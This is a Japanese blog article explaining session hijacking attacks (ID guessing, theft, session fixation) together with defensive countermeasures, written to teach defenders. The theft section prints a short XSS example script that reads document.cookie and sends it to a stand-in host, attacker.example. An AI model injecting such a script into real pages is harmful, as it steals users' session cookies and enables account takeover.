Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

This article is a Private article. Only a writer and users who know the URL can access it.
Please change open range to public in publish setting if you want to share this article with other users.

セッションハイジャック攻撃について整理する

0
Posted at

はじめに

セッションハイジャック攻撃について、自分なりにまとめてみました。

改訂履歴

  • 2026/07/13 : 初版公開。

本文

1. 概要

セッションハイジャック攻撃とは、攻撃者が何らかの手段を用いて、セッション ID を不正に取得し、通信(セッション)をハイジャックしてしまう攻撃手法です。

2. 手法と対策

セッションハイジャックの攻撃手法には推測や盗用、セッションフィクセーション攻撃などが挙げられます。

2-1. 推測

セッション ID を総当たりや規則性の解析によって推測し、不正に利用する手法です。

対策は以下になります。

  • 十分に長くランダムなセッション ID を生成する。
  • 暗号学的に安全な乱数を使用する。
  • セッション ID に規則性を持たせない。

2-2. 盗用

以下の手段を用いて、セッション ID を窃取する手法です。

  • 通信の盗聴。
  • XSS 攻撃で Cookie を盗む。
  • マルウェアの使用。

対策は以下になります。

  • HTTPS を必須にして通信盗聴を防ぐ。
  • Cookie に Secure 属性を付与し、Cookie を HTTPS 通信でのみ送信する。
  • Cookie に HttpOnly 属性を付与し、JavaScript からの取得を防ぐ。
  • Content Security Policy やエスケープ処理などを用いて XSS 脆弱性をなくす。
  • 利用者の端末を最新の状態に保つ。

補足
XSS 攻撃による Cookie の窃取について、以下のようなスプリクトがページに埋め込まれることで発生します。

<script>
  // Cookie の取得
  const cookie = document.cookie;

  // 取得した Cookie を攻撃者のサーバに送信する
  fetch("https://attacker.example/collect", {
    method: "POST",
    body: cookie
  });
</script>

もし Cookie に HttpOnly 属性が付与されていた場合、JavaScript は document.cookie を使用しても、その Cookie を取得することができなくなります。

2-3. セッションフィクセーション攻撃

セッション ID の固定化や、セッション固定化攻撃とも呼ばれます。攻撃者が事前に用意したセッション ID を利用者に使わせ、利用者がそのままログインした後に同じセッション ID を利用してなりすます攻撃です。例えば、攻撃者が細工した URL を利用者に開かせ、既知のセッション ID を利用させることで攻撃が成立します。

対策は以下になります。

  • ログインの成功時にセッション ID を再生成する。
  • ログアウト時にセッションを破棄する。
  • URL パラメータでセッション ID を管理しない。
  • Cookie を利用してセッションを管理する。

おわりに

随時更新します。

0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?